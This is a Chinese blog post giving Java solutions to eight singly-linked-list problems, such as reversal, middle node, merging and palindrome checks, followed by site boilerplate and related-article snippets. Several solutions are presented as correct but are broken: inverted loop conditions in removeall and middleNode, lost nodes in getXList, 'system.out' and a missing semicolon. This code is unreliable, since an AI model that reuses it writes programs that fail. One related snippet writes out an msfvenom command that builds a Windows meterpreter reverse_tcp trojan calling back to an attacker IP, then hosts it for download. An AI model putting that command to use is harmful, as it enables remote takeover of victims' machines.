单链表的相关题目

1.删除链表中给定值val的所有结点

public void removeall(int key) {
        //由于是删除链表中所有和key值相同的结点,所以可以设置两个ListNode类型的数据,一个在前面,一个在后面.
        //直到前面的走到链表的最后,这样完成了遍历.
        //先判断一下这个链表是否为空
        if(head==null){
            System.out.println("链表为空");
            return;
        }
        //在判断了不为空之后
        ListNode cur1=head;
        ListNode cur2=head.next;
        //遍历结束的条件是cur2==null
        while(cur2==null){
            if(cur2.val==key){
                //如果相等了,进行删除
                cur1.next=cur2.next;
                cur2=cur2.next;
            }
            else{
                //不相等的话,进行后移就好
                cur1=cur2;
                cur2=cur2.next;
            }
        }
        //结束了循环之后,还要判断第一个结点是否重复
        if(head.val==key){
            head=head.next;
        }
    }

2.反转一个链表,首先画一个图介绍一下什么叫反转一个链表.

可以看到在反转了之后,第一个结点变成了最后一个结点,最后一个结点编成了第一个结点.那么可以有两种思路完成这个反转,1.首先拿到最后一个结点,然后从第一个结点开始,以最后一个结点为头结点进行尾插.2.拿到第一个结点,以第一个结点未尾结点进行头插.

 public ListNode reverseList(){
        //首先判断是否是空表和是否是只有一个结点\
        if(head==null){
            System.out.println("空表,无法反转");
            return null;
        }
        if(head.next==null){
            return null;
        }
        //开始头插
        ListNode cur1=head.next;
        head.next=null;
        while(cur1!=null){
            ListNode cur2=cur1.next;
            cur1.next=head;
            head=cur1;
            cur1=cur2;
        }
        return head;
    }

 3.给定一个带有头结点head的非空链表,返回链表的中间结点.如果有两个结点,则返回第二个结点.

 public ListNode middleNode(){
        //一个生活中的实例,A的速度是1,B的速度是2,当B到达终点时,A行走的距离是B的一半.
        //所以根据这个现象,可以设置两个ListNode类型的变量一个一次走两步,一个一次走一步,当速度快的
        //走到尽头时,速度慢的刚好走到中间
        ListNode cur1=head.next;
        ListNode cur2=head.next.next;
        while(cur2.next==null||cur2==null){
         cur1=cur1.next;
         cur2=cur2.next.next;
        }
        return cur1;
    }

4.输入一个链表,输出该链表中倒数第K个结点的数据.

这个题目和上面一个题目可以用同一种方法求解,求导数第k个结点.有两种常想到的思路,思路一:首先遍历链表求出链表的节点个数N,倒数第K个结点就是顺序的第N-K+1个结点,然后遍历到第N-K+1个结点即可.但这种方法需要进行两次遍历.效率较低.思路二:和上一道题目一样,设置两个ListNode类型的变量cur1和cur2,让cur1比cur2多走K-1步,然后让cur1遍历链表,当cur1指向最后一个结点时.cur2指向的就是倒数第k个结点.具体代码如下:

 public ListNode getNode(int k){
        //首先设置cur1和cur2
        ListNode cur1=head;
        ListNode cur2=head;
        if(head==null){
         system.out.println("链表为空");
         return null;
         }
        for(int i=1;i<k;i++){
            cur2=cur2.next;
        }
        //这里可以开始循环
        while(cur2.next!=null){
            cur2=cur2.next;
            cur1=cur1.next;
        }
        return cur1;

    }

5.将两个有序链表合成为一个有序链表并返回,新链表是通过拼接给定的两个链表的所有结点组成的.两个有序链表都是升序的.

这一题的思路比较清晰,因为给定的链表都是有序的.可以设置cur1和cur2,遍历两个链表,比较数值区域的大小,然后进行拼接即可.

public static MySingleList.ListNode totalList(MySingleList.ListNode head1,MySingleList.ListNode
                                                  head2)
    {
       //设置一个傀儡结点
       MySingleList.ListNode newhead=new MySingleList.ListNode(-1);
       MySingleList.ListNode cur=newhead;
       //任何一个结点为空时,就要停止遍历
        while(head1!=null&&head2!=null){
            if(head1.val<head2.val){
                 cur.next=head1;
                 head1=head1.next;
                 cur=cur.next;

            }
            else{
                cur.next=head2;
                head2=head2.next;
                cur=cur.next;
            }
        }
        if(head1!=null){
            cur.next=head1;
        }
        if(head2!=null){
            cur.next=head2;
        }
        return newhead.next;
    }

6.编写代码,以给定值X为基准将链表分为两部分,所有小于X的结点排在大于或者等于X的结点之前.

可以设置一个cur来遍历链表,将数据域小于X的结点放在一个创建的链表中,将数据域大于X的结点放在另一个创建的链表中,然后将两个链表连接起来即可.具体代码如下:

public ListNode getXList(int x){
        //首先需要panduan
        ListNode s1=null;
        ListNode s2=null;
        ListNode s3=null;
        ListNode s4=null;
        ListNode cur=head;
        //这里要遍历完链表
        while(cur!=null){
            if(cur.val<x){
                //还要判断是否是第一个结点
                if(s1==null){
                    s1=cur;
                    s2=cur;
                }
                else{
                    s2.next=cur;
                    s2=s2.next;
                }
            }
            else{
                if(s3==null)//同样还是要判断是否是头结点
                {
                    s3=null;
                    s4=null;
                }
                else{
                    s4.next=cur;
                    s4=s4.next;
                }
            }
            cur=cur.next;
        }
        //在经过循环之后,接下俩就是需要连接.
        //连接也有多种情况
        //1.两个链表都有结点
        if(s1==null){
            return s3;
        }
        s2.next=s3;
        if(s3!=null){
            s4.next=null;
        }
        return s1;
    }

7.链表的回文结构

如何判断上述链表是回文结构呢?可以先找到中间结点,然后把中间结点之后的链表进行翻转,最后依次比较即可.(同时要注意节点个数的奇偶的不同)具体代码如下:

public boolean iscircle(){
      if(head==null){
      System.out.println("链表为空")
      return false;
     }
     //总的分为三步
        //1.找到中间结点,按照前面的方法即可
        ListNode cur1=head;
        ListNode cur2=head;//这个结点的速度较快
        while(cur2!=null&&cur2.next!=null){
            cur1=cur1.next;
            cur2=cur2.next.next;
        }
        //此时找到了中间结点,接着翻转
        ListNode cur3=cur2.next;
        while(cur3!=null){
            ListNode cur4=cur3.next;
            cur3.next=cur2;
            cur2=cur3;
           cur3=cur4;
        }//这里就翻转完了.
        //接着进行比较操作,此时cur2指向的是最后一个结点.
        //两个相同时就停止
        while(cur1!=cur2){
            if(cur1.val!= cur2.val){
                return false;
            }
            if(cur1.next==cur2.next){
                return true;
            }
            cur1=cur1.next;
            cur2=cur2.next;
        }
        return true;
    }

8.输入两个链表,找出他们的第一个公共结点. 如图两个链表有公共结点.

如何才能够找到两个链表的结点呢?通过观察这个图形可以发现,两个链表的结点个数的差异在未相交之前因此可以通过节点个数相减来确定某个链表需要先遍历的步数,然后同时遍历,走到相同结点时,就找到了第一个公共结点. 

 public static MySingleList.ListNode sameNode(MySingleList.ListNode headA,MySingleList.ListNode headB){
       //先判断有没有空的链表
       if(headA==null||headB==null){
           return null;
       }
       int count1=0;
       int count2=0;
       MySingleList.ListNode cur1=headA;
       MySingleList.ListNode cur2=headB;
       while(cur1!=null){
           count1++;
           cur1=cur1.next;
       }
       while(cur2!=null){
           count2++;
           cur2=cur2.next;
       }
       //然后相减,得到相差的步数
       int len=count1-count2;
       if(len<0){
           cur1=headB;
           cur2=headA;
           len=count2-count1;
       }
       //这里进行移动
       for(int i=0;i<len;i++){
           cur1=cur1.next;
       }
       while(cur1!=cur2){
           cur1=cur1.next;
           cur2=cur2.next;
       }
       if(cur1==null){
           return null;
       }
       return cur1;
   }


 


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/657195.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

脑图工具 在学习系统架构中的使用

系统&#xff0c;有人把它比作一个黑盒&#xff0c;有人比作一个树洞。呃&#xff0c;其实二者都隐含的表达了一个意思&#xff0c;盘根错节&#xff0c;一言难尽&#xff0c;欲说还休&#xff0c;说了又像是隔靴搔痒&#xff0c;感觉没说透。 学习&#xff0c;理解和展示一个…

边缘计算网关的用途及其使用方法-天拓四方

在数字化日益深入的今天&#xff0c;边缘计算网关作为一种重要的设备&#xff0c;正在越来越多地被应用于各种场景中。它不仅能够提升数据处理的速度和效率&#xff0c;还能在降低网络延迟的同时确保数据的安全性。本文将详细介绍边缘计算网关的用途及其使用方法&#xff0c;帮…

MFC里的工具栏按钮图标如何使用外部图片?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

Revit——(2)模型的编辑、轴网和标高

目录 一、关闭缩小的隐藏窗口 二、标高&#xff08;可创建平面&#xff0c;其他标高线复制即可&#xff09; 三、轴网 周围的四个圈和三角表示四个里面&#xff0c;可以移动&#xff0c;不要删除 一、关闭缩小的隐藏窗口 二、标高&#xff08;可创建平面&#xff0c;其他标…

[书生·浦语大模型实战营]——在茴香豆 Web 版中创建自己领域的知识问答助手

茴香豆是一个基于LLM的领域知识助手&#xff0c;可以用于解答群聊中的问题。接下来是创建过程。 1.打开茴香豆Web版&#xff0c;创建自己的领域库。 地址&#xff1a;茴香豆Web版 这里类似于注册账号&#xff0c;你输入知识库的名称以及密码&#xff0c;然后它就会创建一个知识…

Collection(一)[集合体系]

说明&#xff1a;Collection代表单列集合&#xff0c;每个元素&#xff08;数据&#xff09;只包含一个值。 Collection集合体系&#xff1a; Collection<E> 接口 (一&#xff09;List<E> 接口 说明&#xff1a;添加的元素是有序、可重复、有索引。 1. ArrayLi…

Ai终点站,全系统商业闭环矩阵打造,帮电商、实体降70%成本,12款Ai联合深度实战

说白了&#xff0c;你之前5个人的团队&#xff0c;当团队人数不变的情况下&#xff0c;借助于ChatGPT和各种软件的结合&#xff0c;赋能电商直播带货&#xff0c;可以让之前一年销售额2.000万变成2.500万或者是3.000万&#xff0c;这就是这套课程的核心作用: 【1】系统课程从1…

SpringCloud之SSO单点登录-基于Gateway和OAuth2的跨系统统一认证和鉴权详解

单点登录&#xff08;SSO&#xff09;是一种身份验证过程&#xff0c;允许用户通过一次登录访问多个系统。本文将深入解析单点登录的原理&#xff0c;并详细介绍如何在Spring Cloud环境中实现单点登录。通过具体的架构图和代码示例&#xff0c;我们将展示SSO的工作机制和优势&a…

Excel单元格格式无法修改的原因与解决方法

Excel单元格格式无法更改可能由多种原因造成。以下是一些可能的原因及相应的解决方法&#xff1a; 单元格或工作表被保护&#xff1a; 如果单元格或工作表被设置为只读或保护状态&#xff0c;您将无法更改其中的格式。解决方法&#xff1a;取消单元格或工作表的保护。在Excel中…

【接口测试_04课_Jsonpath断言、接口关联及加密处理】

一、Jasonpath的应用 JsonPath工具网站&#xff1a;JSONPath解析器 - 一个工具箱 - 好用的在线工具都在这里&#xff01; 1、JSONPath的手写与获取 手写JSONPath 1、 $ &#xff08;英文美元符号&#xff09;代表外层的{} . &#xff08;英文句号&#xff09;表示当前…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

Java内存空间

Java内存空间划分 Java虚拟机在执行Java程序的过程中会把他管理的内存划分为若干个不同的数据区域&#xff0c;如图所示1.7和1.8两个版本的Java内存空间划分。 JDK1.7: JDK1.8: 线程私有&#xff1a; 程序计数器虚拟机栈本地方法栈 线程共享 &#xff1a; 堆方法区直接内…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

SALOME源码分析:MDF框架

SALOME是由EDF、CEA、Open CASCADE等联合开发的开源CAE集成平台。 作为一款开源CAE软件集成平台&#xff0c;SALOME以其现代化的架构设计、良好的扩展性&#xff0c;提供了几何建模、网格生成、数据同化、求解器调用、后处理可视化、流程管理、作业管理等方面的支持。而这一切…

【源码】6语言跨境电商PHP源码 精美UI+功能强大开源无授权

6语言跨境电商PHP源码 精美UI功能强大开源无授权 英文&#xff0c;简体中文&#xff0c;繁体中文&#xff0c;日语、泰语、越南语6语言。功能非常强大&#xff0c;UI也很漂亮的跨境电商源码。基于国外成熟电商系统二开的源码&#xff0c;带POS系统。 系统采用Laravel框架开发…

长安杯2021年wp

背景&#xff1a; 2021年4月25日&#xff0c;上午8点左右&#xff0c;警方接到被害人金某报案&#xff0c;声称自己被敲诈数万元&#xff1b;经询问&#xff0c;昨日金某被嫌疑人诱导裸聊&#xff0c;下载了某“裸聊”软件&#xff0c;导致自己的通讯录和裸聊视频被嫌疑人获取…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

深入分析 Android Activity (三)

文章目录 深入分析 Android Activity (三)1. Activity 的配置变化处理1.1 处理配置变化 2. Activity 的存储和恢复状态2.1 保存状态2.2 恢复状态 3. Activity 与 Fragment 的通信3.1 通过接口进行通信3.2 通过 ViewModel 进行通信 4. Activity 的窗口管理和视图层次结构4.1 Dec…

联邦和反射器实验

拓扑图 一.实验要求 1.AS1存在两个环回&#xff0c;一个地址为192.168.1.0/24&#xff0c;该地址不能在任何协议中宣告 AS3存在两个环回&#xff0c;一个地址为192.168.2.0/24&#xff0c;该地址不能在任何协议中宣告 AS1还有一个环回地址为10.1.1.0/24&#xff…